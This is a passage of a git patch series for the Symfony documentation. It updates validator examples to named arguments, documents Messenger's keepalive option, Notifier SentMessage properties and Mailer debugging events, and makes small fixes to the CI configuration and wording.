+++ b/validation.rst
@@ -327,99 +327,13 @@ literature genre mostly associated with the author, which can be set to either
             {
                 // ...
 
-                $metadata->addPropertyConstraint('genre', new Assert\Choice([
-                    'choices' => ['fiction', 'non-fiction'],
-                    'message' => 'Choose a valid genre.',
-                ]));
+                $metadata->addPropertyConstraint('genre', new Assert\Choice(
+                    choices: ['fiction', 'non-fiction'],
+                    message: 'Choose a valid genre.',
+                ));
             }
         }
 
-.. _validation-default-option:
-
-The options of a constraint can always be passed in as an array. Some constraints,
-however, also allow you to pass the value of one, "*default*", option in place
-of the array. In the case of the ``Choice`` constraint, the ``choices``
-options can be specified in this way.
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            #[Assert\Choice(['fiction', 'non-fiction'])]
-            private string $genre;
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        # config/validator/validation.yaml
-        App\Entity\Author:
-            properties:
-                genre:
-                    - Choice: [fiction, non-fiction]
-                # ...
-
-    .. code-block:: xml
-
-        <!-- config/validator/validation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
-                https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
-
-            <class name="App\Entity\Author">
-                <property name="genre">
-                    <constraint name="Choice">
-                        <value>fiction</value>
-                        <value>non-fiction</value>
-                    </constraint>
-                </property>
-
-                <!-- ... -->
-            </class>
-        </constraint-mapping>
-
-    .. code-block:: php
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-        use Symfony\Component\Validator\Mapping\ClassMetadata;
-
-        class Author
-        {
-            private string $genre;
-
-            public static function loadValidatorMetadata(ClassMetadata $metadata): void
-            {
-                // ...
-
-                $metadata->addPropertyConstraint(
-                    'genre',
-                    new Assert\Choice(['fiction', 'non-fiction'])
-                );
-            }
-        }
-
-This is purely meant to make the configuration of the most common option of
-a constraint shorter and quicker.
-
-If you're ever unsure of how to specify an option, either check the namespace
-``Symfony\Component\Validator\Constraints`` for the constraint or play it safe
-by always passing in an array of options (the first method shown above).
-
 Constraints in Form Classes
 ---------------------------
 
@@ -520,7 +434,7 @@ class to have at least 3 characters.
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
                 $metadata->addPropertyConstraint(
                     'firstName',
-                    new Assert\Length(['min' => 3])
+                    new Assert\Length(min: 3)
                 );
             }
         }
@@ -603,9 +517,9 @@ this method must return ``true``:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([
-                    'message' => 'The password cannot match your first name',
-                ]));
+                $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue(
+                    message: 'The password cannot match your first name',
+                ));
             }
         }
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 08ed86fb4ce..bb34775a71c 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -248,7 +248,7 @@ You can use custom validators like the ones provided by Symfony itself:
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new NotBlank());
-                $metadata->addPropertyConstraint('name', new ContainsAlphanumeric(['mode' => 'loose']));
+                $metadata->addPropertyConstraint('name', new ContainsAlphanumeric(mode: 'loose'));
             }
         }
 
@@ -273,6 +273,7 @@ define those options as public properties on the constraint class::
     // src/Validator/Foo.php
     namespace App\Validator;
 
+    use Symfony\Component\Validator\Attribute\HasNamedArguments;
     use Symfony\Component\Validator\Constraint;
 
     #[\Attribute]
@@ -282,6 +283,7 @@ define those options as public properties on the constraint class::
         public $message = 'This value is invalid';
         public $optionalBarOption = false;
 
+        #[HasNamedArguments]
         public function __construct(
             $mandatoryFooOption,
             ?string $message = null,
@@ -402,10 +404,10 @@ the custom options like you pass any other option in built-in constraints:
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('name', new NotBlank());
-                $metadata->addPropertyConstraint('name', new Foo([
-                    'mandatoryFooOption' => 'bar',
-                    'optionalBarOption' => true,
-                ]));
+                $metadata->addPropertyConstraint('name', new Foo(
+                    mandatoryFooOption: 'bar',
+                    optionalBarOption: true,
+                ));
             }
         }
 
diff --git a/validation/groups.rst b/validation/groups.rst
index 8d84e52c0da..55625be702d 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -101,21 +101,21 @@ user registers and when a user updates their contact information later:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('email', new Assert\Email([
-                    'groups' => ['registration'],
-                ]));
-
-                $metadata->addPropertyConstraint('password', new Assert\NotBlank([
-                    'groups' => ['registration'],
-                ]));
-                $metadata->addPropertyConstraint('password', new Assert\Length([
-                    'min'    => 7,
-                    'groups' => ['registration'],
-                ]));
-
-                $metadata->addPropertyConstraint('city', new Assert\Length([
-                    'min' => 2,
-                ]));
+                $metadata->addPropertyConstraint('email', new Assert\Email(
+                    groups: ['registration'],
+                ));
+
+                $metadata->addPropertyConstraint('password', new Assert\NotBlank(
+                    groups: ['registration'],
+                ));
+                $metadata->addPropertyConstraint('password', new Assert\Length(
+                    min: 7,
+                    groups: ['registration'],
+                ));
+
+                $metadata->addPropertyConstraint('city', new Assert\Length(
+                    min: 2,
+                ));
             }
         }
 
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 836568c2327..c316a85d249 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -104,10 +104,10 @@ username and the password are different only if all other validation passes
                 $metadata->addPropertyConstraint('username', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('password', new Assert\NotBlank());
 
-                $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([
-                    'message' => 'The password cannot match your first name',
-                    'groups'  => ['Strict'],
-                ]));
+                $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue(
+                    message: 'The password cannot match your first name',
+                    groups: ['Strict'],
+                ));
 
                 $metadata->setGroupSequence(['User', 'Strict']);
             }
@@ -249,10 +249,10 @@ entity and a new constraint group called ``Premium``:
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new Assert\NotBlank());
-                $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme([
-                    'schemes' => [Assert\CardScheme::VISA],
-                    'groups'  => ['Premium'],
-                ]));
+                $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme(
+                    schemes: [Assert\CardScheme::VISA],
+                    groups: ['Premium'],
+                ));
             }
         }
 
diff --git a/validation/severity.rst b/validation/severity.rst
index 632a99519d9..154c13d5e3e 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -105,15 +105,15 @@ Use the ``payload`` option to configure the error level for each constraint:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('username', new Assert\NotBlank([
-                    'payload' => ['severity' => 'error'],
-                ]));
-                $metadata->addPropertyConstraint('password', new Assert\NotBlank([
-                    'payload' => ['severity' => 'error'],
-                ]));
-                $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban([
-                    'payload' => ['severity' => 'warning'],
-                ]));
+                $metadata->addPropertyConstraint('username', new Assert\NotBlank(
+                    payload: ['severity' => 'error'],
+                ));
+                $metadata->addPropertyConstraint('password', new Assert\NotBlank(
+                    payload: ['severity' => 'error'],
+                ));
+                $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban(
+                    payload: ['severity' => 'warning'],
+                ));
             }
         }
 
diff --git a/validation/translations.rst b/validation/translations.rst
index 9a4ece17736..db2cd518eb7 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -83,9 +83,9 @@ property is not empty, add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('name', new NotBlank([
-                    'message' => 'author.name.not_blank',
-                ]));
+                $metadata->addPropertyConstraint('name', new NotBlank(
+                    message: 'author.name.not_blank',
+                ));
             }
         }
 
@@ -136,13 +136,13 @@ You can also use :class:`Symfony\\Component\\Translation\\TranslatableMessage` t
     use Symfony\Component\Translation\TranslatableMessage;
     use Symfony\Component\Validator\Constraints as Assert;
     use Symfony\Component\Validator\Context\ExecutionContextInterface;
-    
+
     #[Assert\Callback]
     public function validate(ExecutionContextInterface $context, mixed $payload): void
     {
         // somehow you have an array of "fake names"
         $fakeNames = [/* ... */];
-    
+
         // check if the name is actually a fake name
         if (in_array($this->getFirstName(), $fakeNames, true)) {
             $context->buildViolation(new TranslatableMessage('author.name.fake', [], 'validators'))

From c8f21886f4a3e60a80ef8cc95a47737d91d1afba Mon Sep 17 00:00:00 2001
From: Michel Roca <mroca.dh@gmail.com>
Date: Mon, 27 Jan 2025 13:27:48 +0100
Subject: [PATCH 5333/5766] [Notifier] Add SentMessage extra info

---
 notifier.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 090f4db2007..4c790125f3e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -68,6 +68,7 @@ Service
 `AllMySms`_         **Install**: ``composer require symfony/all-my-sms-notifier`` \
                     **DSN**: ``allmysms://LOGIN:APIKEY@default?from=FROM`` \
                     **Webhook support**: No
+                    **SentMessage extra info**: `nbSms`, `balance`, `cost`
 `AmazonSns`_        **Install**: ``composer require symfony/amazon-sns-notifier`` \
                     **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION`` \
                     **Webhook support**: No
@@ -139,6 +140,7 @@ Service
 `OvhCloud`_         **Install**: ``composer require symfony/ovh-cloud-notifier`` \
                     **DSN**: ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME`` \
                     **Webhook support**: No
+                    **SentMessage extra info**: `totalCreditsRemoved`
 `Plivo`_            **Install**: ``composer require symfony/plivo-notifier`` \
                     **DSN**: ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` \
                     **Webhook support**: No

From 922fa713756b22cc71beab7b9571157275ddc46b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 28 Jan 2025 08:57:41 +0100
Subject: [PATCH 5334/5766] fix typo

---
 setup/web_server_configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e5e06a89feb..58935bf5352 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -207,7 +207,7 @@ When using Caddy on the server, you can use a configuration like this:
 
         # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP)
         php_fastcgi unix//var/run/php/php8.3-fpm.sock {
-            # only fallback to root index.php aka front controller.
+            # only fall back to root index.php aka front controller.
             try_files {path} index.php
 
             # optionally set the value of the environment variables used in the application

From 8ce8f9ba8491d4afd91f8fa0da0cd1196fe826c6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 27 Jan 2025 08:16:36 +0100
Subject: [PATCH 5335/5766] [Messenger] Describe `--keepalive` option
 (AmazonSQS & Beanstalkd)

---
 messenger.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 0965cbc9170..217061d302c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -543,6 +543,19 @@ command with the ``--all`` option:
 
     The ``--all`` option was introduced in Symfony 7.1.
 
+The ``--keepalive`` option can be used to prevent messages from being prematurely
+redelivered during long-running processing. It marks the message as "in progress"
+and prevents it from being redelivered until the worker finishes processing it.
+
+.. note::
+
+    This option is only available for supported transports, which are
+    the Beanstalkd and AmazonSQS transports.
+
+.. versionadded:: 7.2
+
+    The ``--keepalive`` option was introduced in Symfony 7.2.
+
 .. tip::
 
     In a development environment and if you're using the Symfony CLI tool,
@@ -1709,6 +1722,10 @@ The transport has a number of options:
     The message time to run before it is put back in the ready queue - in
     seconds.
 
+.. versionadded:: 7.2
+
+    Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.2.
+
 .. _messenger-redis-transport:
 
 Redis Transport
@@ -2031,6 +2048,10 @@ The transport has a number of options:
     FIFO queues don't support setting a delay per message, a value of ``delay: 0``
     is required in the retry strategy settings.
 
+.. versionadded:: 7.2
+
+    Keepalive support, using the `--keepalive` option, was added in Symfony 7.2.
+
 Serializing Messages
 ~~~~~~~~~~~~~~~~~~~~
 

From 40cafd498e9a0d78e17d7b89735b964203ed0c10 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 28 Jan 2025 11:05:30 +0100
Subject: [PATCH 5336/5766] [Messenger] Update docs for keepalive support in
 doctrine messenger transport

closes #20599
---
 messenger.rst | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 217061d302c..727b1fbc39a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -545,12 +545,16 @@ command with the ``--all`` option:
 
 The ``--keepalive`` option can be used to prevent messages from being prematurely
 redelivered during long-running processing. It marks the message as "in progress"
-and prevents it from being redelivered until the worker finishes processing it.
+and prevents it from being redelivered until the worker finishes processing it:
+
+.. code-block:: terminal
+
+    php bin/console messenger:consume --keepalive=5
 
 .. note::
 
     This option is only available for supported transports, which are
-    the Beanstalkd and AmazonSQS transports.
+    the Doctrine, Beanstalkd and AmazonSQS transports.
 
 .. versionadded:: 7.2
 
@@ -1689,6 +1693,14 @@ in the table.
     The length of time to wait for a response when calling
     ``PDO::pgsqlGetNotify``, in milliseconds.
 
+The keepalive feature, which prevents messages from being prematurely redelivered during
+long-running processing, updates the ``delivered_at`` timestamp periodically to ensure
+the message is marked as "in progress".
+
+.. versionadded:: 7.3
+
+    Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.3.
+
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
 

From 8cf4739540b45707a8a3bd2b61ca0d11c9b0bac8 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 30 Jan 2025 13:24:59 +0100
Subject: [PATCH 5337/5766] Update web_server_configuration.rst: Adding syntax
 highlighting

https://symfony.com/doc/6.4/setup/web_server_configuration.html#caddy

`nginx` is probably better than nothing ;-)
---
 setup/web_server_configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 58935bf5352..0612f609721 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -195,7 +195,7 @@ Caddy
 
 When using Caddy on the server, you can use a configuration like this:
 
-.. code-block:: text
+.. code-block:: nginx
 
     # /etc/caddy/Caddyfile
     example.com, www.example.com {

From 57e4fcb84fd8b900d5f1f7203afb19451ff97672 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 31 Jan 2025 09:04:10 +0100
Subject: [PATCH 5338/5766] Minor tweak

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 727b1fbc39a..e5c4ccd9a17 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1699,7 +1699,7 @@ the message is marked as "in progress".
 
 .. versionadded:: 7.3
 
-    Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.3.
+    Keepalive support, using the ``--keepalive`` option, was introduced in Symfony 7.3.
 
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~

From 1fc414588c7c7d78bd50b8177eca180d07d625b0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 31 Jan 2025 09:28:34 +0100
Subject: [PATCH 5339/5766] Tweaks

---
 notifier.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 4c790125f3e..f240de44183 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -68,7 +68,7 @@ Service
 `AllMySms`_         **Install**: ``composer require symfony/all-my-sms-notifier`` \
                     **DSN**: ``allmysms://LOGIN:APIKEY@default?from=FROM`` \
                     **Webhook support**: No
-                    **SentMessage extra info**: `nbSms`, `balance`, `cost`
+                    **Extra properties in SentMessage**: ``nbSms``, ``balance``, ``cost``
 `AmazonSns`_        **Install**: ``composer require symfony/amazon-sns-notifier`` \
                     **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION`` \
                     **Webhook support**: No
@@ -140,7 +140,7 @@ Service
 `OvhCloud`_         **Install**: ``composer require symfony/ovh-cloud-notifier`` \
                     **DSN**: ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME`` \
                     **Webhook support**: No
-                    **SentMessage extra info**: `totalCreditsRemoved`
+                    **Extra properties in SentMessage**:: ``totalCreditsRemoved``
 `Plivo`_            **Install**: ``composer require symfony/plivo-notifier`` \
                     **DSN**: ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` \
                     **Webhook support**: No
@@ -241,6 +241,8 @@ Service
 .. versionadded:: 7.3
 
     Webhook support for the ``Brevo`` integration was introduced in Symfony 7.3.
+    The extra properties in ``SentMessage`` for ``AllMySms`` and ``OvhCloud``
+    providers were introduced in Symfony 7.3 too.
 
 .. deprecated:: 7.1
 

From 827ea349008269bbf1af5f035c0b6e7daad24565 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 31 Jan 2025 12:48:26 +0100
Subject: [PATCH 5340/5766] Use PHP 8.4

---
 .github/workflows/ci.yaml | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index d072158138a..cd11f370e6a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -26,9 +26,8 @@ jobs:
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
                 with:
-                    php-version: 8.1
+                    php-version: 8.4
                     coverage: none
-                    tools: "composer:v2"
 
             -   name: Get composer cache directory
                 id: composercache
@@ -93,7 +92,7 @@ jobs:
             -   name: Set-up PHP
                 uses: shivammathur/setup-php@v2
                 with:
-                    php-version: 8.1
+                    php-version: 8.4
                     coverage: none
 
             -   name: Fetch branch from where the PR started

From 9f26f64863bb81880c0373f0c0efd0126a1a8712 Mon Sep 17 00:00:00 2001
From: Alsciende <bertolini.cedric@me.com>
Date: Sat, 19 Oct 2024 12:48:17 +0200
Subject: [PATCH 5341/5766] [Messenger] Add a tip about using
 `make:messenger-middleware`

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 217061d302c..cae1d795891 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2920,6 +2920,11 @@ and a different instance will be created per bus.
             $bus->middleware()->id('App\Middleware\AnotherMiddleware');
         };
 
+.. tip::
+
+    If you have installed the Maker bundle, you can use the ``make:messenger-middleware`` command
+    to bootstrap the creation your own messenger middleware.
+
 .. _middleware-doctrine:
 
 Middleware for Doctrine

From 2ed9ab1a6206290c5b843eabf9eb0434f7b2b1b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Feb 2025 12:24:21 +0100
Subject: [PATCH 5342/5766] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index cae1d795891..d01ac3890fb 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2922,8 +2922,8 @@ and a different instance will be created per bus.
 
 .. tip::
 
-    If you have installed the Maker bundle, you can use the ``make:messenger-middleware`` command
-    to bootstrap the creation your own messenger middleware.
+    If you have installed the MakerBundle, you can use the ``make:messenger-middleware``
+    command to bootstrap the creation your own messenger middleware.
 
 .. _middleware-doctrine:
 

From ad37e5b92d053366b1c04fe5474a0ae39958a386 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 11 Nov 2024 23:26:15 +0100
Subject: [PATCH 5343/5766] [Form] Update enum.rst: Adding `choice_label`

---
 reference/forms/types/enum.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 7a49128f28c..6a78004c7ff 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -100,6 +100,22 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
+.. include:: /reference/forms/types/options/choice_attr.rst.inc
+
+.. include:: /reference/forms/types/options/choice_filter.rst.inc
+
+.. include:: /reference/forms/types/options/choice_label.rst.inc
+
+.. include:: /reference/forms/types/options/choice_loader.rst.inc
+
+.. include:: /reference/forms/types/options/choice_name.rst.inc
+
+.. include:: /reference/forms/types/options/choice_translation_domain_enabled.rst.inc
+
+.. include:: /reference/forms/types/options/choice_translation_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/choice_value.rst.inc
+
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc

From 8e3c1db52df44144b3c1ffa731db9481222749ef Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Mon, 2 Sep 2024 00:00:12 +0200
Subject: [PATCH 5344/5766] [Mailer] Mention the SentMessageEvent and
 FailedMessageEvent in the debug section

---
 mailer.rst | 28 ++++++++++++++++++++++------
 1 file changed, 22 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index c1b30a06850..fe660c15178 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -802,6 +802,8 @@ Catch that exception to recover from the error or to display some message::
         // error message or try to resend the message
     }
 
+.. _mailer-debugging-emails:
+
 Debugging Emails
 ----------------
 
@@ -810,6 +812,9 @@ The :class:`Symfony\\Component\\Mailer\\SentMessage` object returned by the
 provides access to the original message (``getOriginalMessage()``) and to some
 debug information (``getDebug()``) such as the HTTP calls done by the HTTP
 transports, which is useful to debug errors.
+Access to :class:`Symfony\\Component\\Mailer\\SentMessage` can also be obtained by listening
+to the :ref:`SentMessageEvent <mailer-sent-message-event>`, and to ``getDebug()`` by listening
+to the :ref:`FailedMessageEvent <mailer-failed-message-event>`."
 
 .. note::
 
@@ -1712,6 +1717,8 @@ and their priorities:
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\MessageEvent"
 
+.. _mailer-sent-message-event:
+
 SentMessageEvent
 ~~~~~~~~~~~~~~~~
 
@@ -1722,16 +1729,17 @@ SentMessageEvent
     The ``SentMessageEvent`` event was introduced in Symfony 6.2.
 
 ``SentMessageEvent`` allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage`
-class to access the original message (``getOriginalMessage()``) and some debugging
-information (``getDebug()``) such as the HTTP calls made by the HTTP transports,
-which is useful for debugging errors::
+class to access the original message (``getOriginalMessage()``) and some
+:ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) such as the HTTP calls
+made by the HTTP transports, which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\SentMessageEvent;
 
     public function onMessage(SentMessageEvent $event): void
     {
-        $message = $event->getMessage();
+        // e.g you can get mail id
+        $event->getMessage();
 
         // do something with the message
     }
@@ -1743,6 +1751,8 @@ and their priorities:
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\SentMessageEvent"
 
+.. _mailer-failed-message-event:
+
 FailedMessageEvent
 ~~~~~~~~~~~~~~~~~~
 
@@ -1752,15 +1762,21 @@ FailedMessageEvent
 
     The ``FailedMessageEvent`` event was introduced in Symfony 6.2.
 
-``FailedMessageEvent`` allows acting on the initial message in case of a failure::
+``FailedMessageEvent`` allows acting on the initial message in case of a failure and some
+:ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) such as the HTTP calls made
+by the HTTP transports, which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\FailedMessageEvent;
+    use Symfony\Component\Mailer\Exception\TransportExceptionInterface;
 
     public function onMessage(FailedMessageEvent $event): void
     {
         // e.g you can get more information on this error when sending an email
-        $event->getError();
+        $error = $event->getError();
+        if ($error instanceof TransportExceptionInterface) {
+            $error->getDebug();
+        }
 
         // do something with the message
     }

From 6d9da13cc6968c754aeacdbe0dfea15e583018a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Feb 2025 12:59:39 +0100
Subject: [PATCH 5345/5766] Minor tweaks

---
 mailer.rst | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index fe660c15178..99778ccb8cd 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -812,9 +812,10 @@ The :class:`Symfony\\Component\\Mailer\\SentMessage` object returned by the
 provides access to the original message (``getOriginalMessage()``) and to some
 debug information (``getDebug()``) such as the HTTP calls done by the HTTP
 transports, which is useful to debug errors.
-Access to :class:`Symfony\\Component\\Mailer\\SentMessage` can also be obtained by listening
-to the :ref:`SentMessageEvent <mailer-sent-message-event>`, and to ``getDebug()`` by listening
-to the :ref:`FailedMessageEvent <mailer-failed-message-event>`."
+
+You can also access :class:`Symfony\\Component\\Mailer\\SentMessage` by listening
+to the :ref:`SentMessageEvent <mailer-sent-message-event>` and retrieve ``getDebug()``
+by listening to the :ref:`FailedMessageEvent <mailer-failed-message-event>`.
 
 .. note::
 
@@ -1730,18 +1731,17 @@ SentMessageEvent
 
 ``SentMessageEvent`` allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage`
 class to access the original message (``getOriginalMessage()``) and some
-:ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) such as the HTTP calls
-made by the HTTP transports, which is useful for debugging errors::
+:ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) such as
+the HTTP calls made by the HTTP transports, which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\SentMessageEvent;
 
     public function onMessage(SentMessageEvent $event): void
     {
-        // e.g you can get mail id
-        $event->getMessage();
+        $message $event->getMessage();
 
-        // do something with the message
+        // do something with the message (e.g. get its id)
     }
 
 Execute this command to find out which listeners are registered for this event
@@ -1762,9 +1762,9 @@ FailedMessageEvent
 
     The ``FailedMessageEvent`` event was introduced in Symfony 6.2.
 
-``FailedMessageEvent`` allows acting on the initial message in case of a failure and some
-:ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) such as the HTTP calls made
-by the HTTP transports, which is useful for debugging errors::
+``FailedMessageEvent`` allows acting on the initial message in case of a failure
+and some :ref:`debugging information <mailer-debugging-emails>` (``getDebug()``)
+such as the HTTP calls made by the HTTP transports, which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\FailedMessageEvent;

From dd69e53bdb7287a8a8920129de11273920add5e8 Mon Sep 17 00:00:00 2001
From: Lorenzo Milesi <lorenzo.milesi@qofclubs.com>
Date: Fri, 22 Mar 2024 17:43:31 +0100
Subject: [PATCH 5346/5766] Messenger: custom consumer name with systemd

---
 messenger.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index d1f215f16a3..8cc17a5772e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -814,6 +814,8 @@ directory. For example, you can create a new ``messenger-worker.service`` file.
 
     [Service]
     ExecStart=php /path/to/your/app/bin/console messenger:consume async --time-limit=3600
+    # For Redis, set a custom consumer name for each instance
+    Environment="MESSENGER_CONSUMER_NAME=symfony-%n-%i"
     Restart=always
     RestartSec=30
 

From 26b7fc02b3b3f99afb379886bd0a69d1f72e93ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Feb 2025 13:36:27 +0100
Subject: [PATCH 5347/5766] Minor tweak

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8cc17a5772e..70154ab82ca 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -814,7 +814,7 @@ directory. For example, you can create a new ``messenger-worker.service`` file.
 
     [Service]
     ExecStart=php /path/to/your/app/bin/console messenger:consume async --time-limit=3600
-    # For Redis, set a custom consumer name for each instance
+    # for Redis, set a custom consumer name for each instance
     Environment="MESSENGER_CONSUMER_NAME=symfony-%n-%i"
     Restart=always
     RestartSec=30

From 6a70a7a349759394cdbadeacc13238b19e0e4f03 Mon Sep 17 00:00:00 2001
From: Sascha Egerer <sascha.egerer@flowd.de>
Date: Mon, 3 Feb 2025 14:03:44 +0100
Subject: [PATCH 5348/5766] Replace left over "annotation" by "attribute"

---
 components/validator/resources.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index b5f5acdac14..32b8e26f8a8 100644
